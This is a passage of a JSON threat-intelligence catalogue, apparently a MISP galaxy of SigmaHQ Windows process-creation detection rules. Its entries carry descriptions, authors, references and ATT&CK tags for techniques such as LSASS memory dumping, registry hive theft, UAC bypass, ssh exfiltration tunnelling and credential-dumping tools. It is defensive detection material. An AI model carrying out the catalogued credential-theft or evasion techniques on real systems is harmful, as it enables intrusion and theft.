"970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f26c6093-6f14-4b12-800f-0fcb46f5ffd0", "value": "Malicious Base64 Encoded PowerShell Keywords in Command Lines" }, { "description": "Detect creation of dump files containing the memory space of lsass.exe, which contains sensitive credentials.\nIdentifies usage of Sysinternals procdump.exe to export the memory space of lsass.exe which contains sensitive credentials.\n", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_lsass_dump.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/1e1ef6be-12fc-11e9-8d76-4d6bb837cda4.html", "https://eqllib.readthedocs.io/en/latest/analytics/210b4ea4-12fc-11e9-8d76-4d6bb837cda4.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lsass_dump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ffa6861c-4461-4f59-8a41-578c39f3f23e", "value": "LSASS Memory Dumping" }, { "description": "Threat actors can use auditpol binary to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", "meta": { "author": "Janantha Marasinghe (https://github.com/blueteam0ps)", "creation_date": "2021/02/02", "falsepositive": [ "Admin activity" ], "filename": "proc_creation_win_sus_auditpol_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sus_auditpol_usage.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0a13e132-651d-11eb-ae93-0242ac130002", "value": "Suspicious Auditpol Usage" }, { "description": "Detects usage of attrib with \"+s\" option to set suspicious script or executable as system files to hide them from users and make them unable to delete with simple rights. The rule limit the search to specific extensions and directories to avoid FP's", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_attrib_system_susp_paths.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0", "https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.001" ] }, "related": [ { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "efec536f-72e8-4656-8960-5e85d091345b", "value": "Set Suspicious Files as System Files Using Attrib" }, { "description": "Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe", "meta": { "author": "Florian Roth", "creation_date": "2021/05/27", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_regedit_trustedinstaller.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/1kwpeter/status/1397816101455765504", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regedit_trustedinstaller.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "883835a7-df45-43e4-bf1d-4268768afda4", "value": "Regedit as Trusted Installer" }, { "description": "Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and windows eventlogs are cleared using wevtutil", "meta": { "author": "Florian Roth, Tom Ueltschi", "creation_date": "2019/01/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_malware_notpetya.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://securelist.com/schroedingers-petya/78870/", "https://www.hybrid-analysis.com/sample/64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_notpetya.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011", "attack.t1070.001", "attack.credential_access", "attack.t1003.001", "car.2016-04-002" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "79aeeb41-8156-4fac-a0cd-076495ab82a1", "value": "NotPetya Ransomware Activity" }, { "description": "Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.", "meta": { "author": "frack113, Florian Roth", "creation_date": "2022/09/02", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_frp.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://asec.ahnlab.com/en/38156/", "https://github.com/fatedier/frp", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_frp.yml" ], "tags": [ "attack.command_and_control", "attack.t1090" ] }, "related": [ { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "32410e29-5f94-4568-b6a3-d91a8adad863", "value": "Fast Reverse Proxy (FRP)" }, { "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", "meta": { "author": "Matthew Green - @mgreen27, Ecco, James Pemberton / @4A616D6573, oscd.community (improvements), Andreas Hunkeler (@Karneades)", "creation_date": "2019/06/15", "falsepositive": [ "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist", "PsExec installed via Windows Store doesn't contain original filename field (False negative)" ], "filename": "proc_creation_win_renamed_binary.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "36480ae1-a1cb-4eaa-a0d6-29801d7e9142", "value": "Renamed Binary" }, { "description": "Detects the malicious use of a control panel item", "meta": { "author": "Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_)", "creation_date": "2020/06/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_control_panel_item.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_control_panel_item.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1218.002", "attack.persistence", "attack.t1546" ] }, "related": [ { "dest-uuid": "4ff5d6a8-c062-4c68-a778-36fc5edd564f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0ba863e6-def5-4e50-9cea-4dd8c7dc46a4", "value": "Control Panel Items" }, { "description": "Detects execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default.", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/execution-via-mssql-xp_cmdshell-stored-procedure.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "344482e4-a477-436c-aa70-7536d18a48c7", "value": "Execution via MSSQL Xp_cmdshell Stored Procedure" }, { "description": "Dump sam, system or security hives using REG.exe utility", "meta": { "author": "Teymur Kheirkhabarov, Endgame, JHasenbusch, Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/22", "falsepositive": [ "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" ], "filename": "proc_creation_win_grabbing_sensitive_hives_via_reg.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_grabbing_sensitive_hives_via_reg.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002", "attack.t1003.004", "attack.t1003.005", "car.2013-07-001" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fd877b94-9bb5-4191-bb25-d79cbd93c167", "value": "Grabbing Sensitive Hives via Reg Utility" }, { "description": "AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", "meta": { "author": "Janantha Marasinghe (https://github.com/blueteam0ps), FPT.EagleEye Team, omkar72, oscd.community", "creation_date": "2021/02/02", "falsepositive": [ "Legitimate admin activity" ], "filename": "proc_creation_win_susp_adfind_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://thedfirreport.com/2020/05/08/adfind-recon/", "https://www.joeware.net/freetools/tools/adfind/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_usage.yml" ], "tags": [ "attack.discovery", "attack.t1018", "attack.t1087.002", "attack.t1482", "attack.t1069.002" ] }, "related": [ { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9a132afa-654e-11eb-ae93-0242ac130002", "value": "AdFind Usage Detection" }, { "description": "Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation", "meta": { "author": "Florian Roth", "creation_date": "2019/10/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_hwp_exploits.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://en.wikipedia.org/wiki/Hangul_(word_processor)", "https://twitter.com/cyberwar_15/status/1187287262054076416", "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/", "https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1", "https://blog.alyac.co.kr/1901", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml" ], "tags": [ "attack.initial_access", "attack.t1566.001", "attack.execution", "attack.t1203", "attack.t1059.003", "attack.g0032" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "023394c4-29d5-46ab-92b8-6a534c6f447b", "value": "Suspicious HWP Sub Processes" }, { "description": "Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/uac-bypass-via-windows-firewall-snap-in-hijack.html#uac-bypass-via-windows-firewall-snap-in-hijack", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e52cb31c-10ed-4aea-bcb7-593c9f4a315b", "value": "UAC Bypass via Windows Firewall Snap-In Hijack" }, { "description": "Detect use of WebBrowserPassView.exe", "meta": { "author": "frack113", "creation_date": "2022/08/20", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_webbrowserpassview.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1555.003/T1555.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webbrowserpassview.yml" ], "tags": [ "attack.credential_access", "attack.t1555.003" ] }, "related": [ { "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d0dae994-26c6-4d2d-83b5-b3c8b79ae513", "value": "Launch WebBrowserPassView Executable" }, { "description": "7-Zip through 21.07 on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.", "meta": { "author": "frack113", "creation_date": "2022/04/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_7zip_cve_2022_29072.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/kagancapar/CVE-2022-29072", "https://twitter.com/kagancapar/status/1515219358234161153", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_cve_2022_29072.yml" ], "tags": [ "cve.2022.29072" ] }, "uuid": "9a4ccd1a-3526-4d99-b980-9f9c5d3a6ee3", "value": "Suspicious 7zip Subprocess" }, { "description": "Detects usage of the Quarks PwDump tool via commandline arguments", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/05", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_quarks_pwdump.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/quarkslab/quarkspwdump", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_quarks_pwdump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0685b176-c816-4837-8e7b-1216f346636b", "value": "Quarks PwDump Usage" }, { "description": "Execution of ssh.exe to perform data exfiltration and tunneling through RDP", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/12", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_susp_ssh_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_usage.yml" ], "tags": [ "attack.command_and_control", "attack.t1572" ] }, "related": [ { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f7d7ebd5-a016-46e2-9c54-f9932f2d386d", "value": "Suspicious SSH Usage RDP Tunneling" }, { "description": "Detects usage of \"cdb.exe\" to launch 64-bit shellcode or arbitrary processes or commands from a debugger script file", "meta": { "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali", "creation_date": "2019/10/26", "falsepositive": [ "Legitimate use of debugging tools" ], "filename": "proc_creation_win_lolbin_cdb.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/nas_bench/status/1534957360032120833", "https://web.archive.org/web/20170715043507/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cdb.yml" ], "tags": [ "attack.execution", "attack.t1106", "attack.defense_evasion", "attack.t1218", "attack.t1127" ] }, "related": [ { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b5c7395f-e501-4a08-94d4-57fe7a9da9d2", "value": "WinDbg/CDB LOLBIN Usage" }, { "description": "Shadow Copies creation using operating systems utilities, possible credential access", "meta": { "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/22", "falsepositive": [ "Legitimate administrator working with shadow copies, access for backup purposes" ], "filename": "proc_creation_win_shadow_copies_creation.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_creation.yml" ], "tags": [ "attack.credential_access", "attack.t1003", "attack.t1003.002", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b17ea6f7-6e90-447e-a799-e6c0a493d6ce", "value": "Shadow Copies Creation Using Operating Systems Utilities" }, { "description": "Detects the execution of the hacktool SafetyKatz via PE information and default Image name", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/20", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_hack_safetykatz.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/GhostPack/SafetyKatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_safetykatz.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b1876533-4ed5-4a83-90f3-b8645840a413", "value": "SafetyKatz Hack Tool" }, { "description": "An adversary might use WMI to check if a certain Remote Service is running on a remote device.\nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the provided remote host is unreachable\n", "meta": { "author": "frack113", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmic_remote_service.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_service.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "09af397b-c5eb-4811-b2bb-08b3de464ebf", "value": "WMI Reconnaissance List Remote Services" }, { "description": "Detects Archer malware invocation via rundll32", "meta": { "author": "Florian Roth", "creation_date": "2017/06/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_crime_fireball.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/en/file/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022/analysis/", "https://www.hybrid-analysis.com/sample/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_fireball.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3d4aebe0-6d29-45b2-a8a4-3dfde586a26d", "value": "Fireball Archer Install" }, { "description": "Detects invocation of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.", "meta": { "author": "Nik Seetharaman, frack113", "creation_date": "2019/01/16", "falsepositive": [ "Legitimate MWC use (unlikely in modern enterprise environments)" ], "filename": "proc_creation_win_workflow_compiler.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_workflow_compiler.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1127", "attack.t1218" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "419dbf2b-8a9b-4bea-bf99-7544b050ec8d", "value": "Microsoft Workflow Compiler" }, { "description": "Attackers can use print.exe for remote file copy", "meta": { "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", "creation_date": "2020/10/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_print.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Print/", "https://twitter.com/Oddvarmoe/status/985518877076541440", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_print.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bafac3d6-7de9-4dd9-8874-4a1194b493ed", "value": "Abusing Print Executable" }, { "description": "When configured with suitable command line arguments, w32tm can act as a delay mechanism", "meta": { "author": "frack113", "creation_date": "2022/09/25", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_w32tm.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1124/T1124.md", "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_w32tm.yml" ], "tags": [ "attack.discovery", "attack.t1124" ] }, "uuid": "6da2c9f5-7c53-401b-aacb-92c040ce1215", "value": "Use of W32tm as Timer" }, { "description": "Detects Elise backdoor acitivty as used by APT32", "meta": { "author": "Florian Roth", "creation_date": "2018/01/31", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_elise.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_elise.yml" ], "tags": [ "attack.g0030", "attack.g0050", "attack.s0081", "attack.execution", "attack.t1059.003" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e507feb7-5f73-4ef6-a970-91bb6f6d744f", "value": "Elise Backdoor" }, { "description": "Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/04/20", "falsepositive": [ "Should not be any false positives" ], "filename": "proc_creation_win_apt_lazarus_activity_apr21.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_apr21.yml" ], "tags": [ "attack.g0032", "attack.execution", "attack.t1106" ] }, "related": [ { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4a12fa47-c735-4032-a214-6fab5b120670", "value": "Lazarus Activity Apr21" }, { "description": "Detects processes spawned from web servers (php, tomcat, iis...etc) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands", "meta": { "author": "Cian Heasley, Florian Roth", "creation_date": "2020/07/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_webshell_recon_detection.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://ragged-lab.blogspot.com/2020/07/webshells-automating-reconnaissance.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_recon_detection.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "f64e5c19-879c-4bae-b471-6d84c8339677", "value": "Webshell Recon Detection Via CommandLine & Processes" }, { "description": "Adversaries may acquire credentials from web browsers by reading files specific to the 